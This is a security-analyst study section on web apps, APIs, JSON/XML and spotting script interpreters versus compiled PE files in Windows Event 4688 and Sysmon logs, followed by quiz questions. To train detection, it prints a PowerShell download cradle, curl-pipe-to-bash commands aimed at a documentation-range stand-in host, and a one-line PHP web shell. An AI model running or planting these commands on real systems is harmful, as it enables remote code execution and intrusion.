5.3 Web Apps, APIs, JSON/XML, Scripts vs Compiled Programs
Key Takeaways
- Browsers and other clients talk to web applications over HTTP or HTTPS; servers may call APIs and databases before they return HTML, JSON, or XML.
- JSON uses braces and name/value pairs; XML uses nested tagged elements; both are data formats, not encryption.
- Python, JavaScript, Bash, PowerShell, and PHP are script languages whose source often appears in command lines; compiled Windows programs are commonly PE files with an MZ header.
- A PowerShell DownloadString plus Invoke-Expression cradle fetches and runs a script in memory; that is distinct from launching a compiled .exe such as a dropped PE.
- Windows Event 4688 and Sysmon process-create logs are where analysts recognize interpreters and reconstruct intent from the command line rather than from the interpreter's file hash alone.
Web applications and scripts are how most business work — and a large fraction of intrusion activity — actually moves. If you cannot read a JSON (JavaScript Object Notation) body, tell a browser from an API client, or spot PowerShell versus a compiled Windows executable, you will mis-label alerts and miss living-off-the-land tradecraft. This independent study section covers web-app architecture, APIs, common data formats, and script recognition for SAL1 web and scripting topics.
Browser, server, and application architecture
A typical web application splits work between a client and a server.
The client is often a browser. It requests pages and assets with HTTP (Hypertext Transfer Protocol) or HTTPS (HTTP inside TLS). It renders HTML, runs JavaScript, stores cookies, and sends follow-up requests. Mobile apps and command-line tools can be clients too; they still speak HTTP.
The server accepts the request, runs application logic, and often queries a database. It may be one process or many: a reverse proxy, an application runtime, and a database engine. From the analyst's chair you usually see:
- Client IP, user agent, URL, status code, and maybe a cookie in a proxy or web log
- Application logs with account IDs and error stacks
- Database audit if it is enabled
Nothing in that picture requires you to be a developer. It does require you to know which box produced which log. A 500 status code is a server failure. A malicious JavaScript payload executing in the browser is a client-side event. Confusing those two leads to the wrong containment step.
Common HTTP methods you will see in logs include GET (read a resource) and POST (submit data). Status codes in the 200 range mean success, 400 range mean a client problem such as 401 unauthorized or 404 not found, and 500 range mean the server failed. Those codes help you decide whether an API integration is broken or an attacker is spraying credentials against /login.
APIs
An API (Application Programming Interface) is a contract for software to call software. On the web, that often means REST-style HTTP endpoints: GET /api/v1/alerts/442, POST /api/v1/tickets, headers for authentication (API keys, OAuth bearer tokens), and a machine-readable body.
Analysts meet APIs in three ways:
- Business integrations — a ticketing tool pulls SIEM alerts through an API. Stolen tokens mean silent data access without a browser session.
- Attacker automation — password spraying and scraping often hit
/loginor/apirather than a human using the UI. - Telemetry — cloud and SaaS products emit JSON via APIs. Your orchestration playbook is an API client.
API traffic may never render HTML. Looking only for <script> tags in a proxy log will miss a JSON POST that created an inbox rule.
JSON versus XML
JSON is text built from objects { }, arrays [ ], strings, numbers, booleans, and null. A compact example is {"user":"alex","role":"analyst","mfa":true}. It is the default body for most modern APIs. SIEM events, cloud audit logs, and webhook alerts are frequently JSON.
XML (eXtensible Markup Language) uses nested tagged elements, for example <user><name>alex</name><role>analyst</role><mfa>true</mfa></user>. XML still appears in SOAP APIs, older enterprise apps, Windows event XML, and some document formats. It is more verbose. Attributes and namespaces can hide values an analyst must extract carefully.
| Format | Shape | Common SOC home | Recognition tip |
|---|---|---|---|
| JSON | Braces, colons, quotes | REST APIs, webhooks, cloud logs | Starts with { or [ |
| XML | Angle-bracket tags | SOAP, event XML, some configs | Starts with < and often an <?xml declaration |
Neither format is encryption. Pretty-printed JSON in a log is plaintext. Compressed or Base64-wrapped JSON is still data representation, not a cipher. If you see JSON inside a Base64 blob, decode first, then parse the object — that is two representation layers, not TLS.
Scripts versus compiled programs
A script is source text that an interpreter or language runtime executes. Python, JavaScript, Bash, PowerShell, and PHP are the languages this topic expects you to recognize. You often see the source, or a one-liner, in the command line.
A compiled program is built ahead of time into machine code or a bytecode binary. On Windows the usual container is a PE (Portable Executable) file whose header starts with the ASCII letters MZ. On Linux you will hear ELF (Executable and Linkable Format). Users launch update.exe; they do not paste C source into Event 4688.
| Language | Typical host process | Snippet you should recognize |
|---|---|---|
| Python | python.exe, python3 | import requests or os.system( |
| JavaScript | node.exe, browser, wscript.exe | fetch( , eval( , or document. |
| Bash | /bin/bash, /bin/sh | curl ... | bash or #!/bin/bash |
| PowerShell | powershell.exe, pwsh.exe | IEX, Invoke-WebRequest, -enc |
| PHP | php.exe, httpd / php-fpm | <?php or system($_GET[ |
Interpreted does not mean harmless. It means the text is available to read if logging captured the command line. Compiled does not mean invisible; it means you pivot to file hash, signature, and endpoint-detection module names instead of reading source in 4688.
Worked example: a PowerShell download cradle versus a compiled PE mention
Case A — scripted cradle. Windows Security Event 4688 (process creation) or Sysmon Event ID 1 shows:
powershell.exe -NoProfile -WindowStyle Hidden -Command "IEX (New-Object Net.WebClient).DownloadString('http://203.0.113.50/a.ps1')"
Read it in pieces. powershell.exe is the interpreter. -WindowStyle Hidden hides a console. New-Object Net.WebClient is a built-in HTTP client. DownloadString pulls text from the network. IEX (Invoke-Expression) runs that text as PowerShell. This is a download cradle: fetch a script and execute it in memory. There is no need for a new .exe on disk. Classification: scripted, living-off-the-land, network plus interpreter. The destination 203.0.113.50 is a documentation TEST-NET address used here as a stand-in, not a real command-and-control host.
Case B — compiled PE mention. The same log source shows:
- Image:
C:\Users\Public\svchost32.exe - Command line:
C:\Users\Public\svchost32.exe - File description: PE32 executable whose header begins with
MZ
Here the program is a binary dropped in a world-writable directory with a name that impersonates svchost. You do not expect a Python import in that command line. Next steps are hash lookup, signer check, and whether a trusted process wrote the file. Classification: compiled PE, masquerading, disk artifact.
If both appear in one incident — a cradle that later writes svchost32.exe — record the chain. Do not collapse them into one label. Hashing powershell.exe in Case A will match Microsoft; hashing svchost32.exe in Case B should not match the real svchost.exe in C:\Windows\System32.
Why command-line language recognition matters in 4688 and Sysmon
Windows Event 4688 records a new process when Audit Process Creation is enabled. Sysmon Event ID 1 records richer process-create data, often including hashes and parent process. SOC analysts live in these fields because:
- Attackers reuse signed interpreters (
powershell.exe,wscript.exe,mshta.exe,python.exe) so the image name looks legitimate. - The command line carries the intent: encoded payloads, URLs,
-nop,-w hidden,IEX,curl | bash. - Parent-child relationships tell a story:
winword.exespawningpowershell.exeis a different severity fromexplorer.exeopening Notepad.
If you only read the Image path, every PowerShell-based attack looks like Windows is running PowerShell. If you can recognize language family and APIs inside the command line, you can distinguish admin inventory scripts from a download cradle without waiting for a malware sandbox.
The same idea applies on Linux with auditd execve and on macOS Unified Logs: the interpreter plus arguments are the evidence. SAL1-style simulations expect you to say what the command is doing, not merely that a script ran.
In practice: five one-liners, five labels
python3 -c "import urllib.request; urllib.request.urlopen('http://203.0.113.10/x')"— Python HTTP fetch.node -e "require('http').get('http://203.0.113.10/x')"— JavaScript on Node making a network call.curl -s http://203.0.113.10/x.sh | bash— Bash piping a remote script into an interpreter.<?php system($_GET['c']); ?>inside a.phpfile on a web root — PHP web-shell pattern that runs a command from a URL parameter.Get-ChildItem C:\Users -Recurse -Filter *.txt— PowerShell file discovery, not a download cradle.
None of those one-liners is a PE. Hashing powershell.exe itself will match Microsoft. The detection is the command line, the parent, and the network destination.
A last reminder as you move into later web-exploitation topics: recognizing JSON, an API path, or a PHP snippet is reconnaissance literacy. It is not the same skill as explaining cross-site scripting or SQL injection. Get the architecture and the language family right first, then the attack classes have somewhere to attach.
Which command line is a PowerShell download cradle rather than a mention of a compiled PE?
JSON and XML are primarily which of the following in web and SOC telemetry?
Why must SOC analysts recognize Python, JavaScript, Bash, PowerShell, and PHP in process-creation logs such as Windows Event 4688 or Sysmon Event ID 1?
An API response body begins with { and uses quoted name/value pairs separated by colons. Which format is it?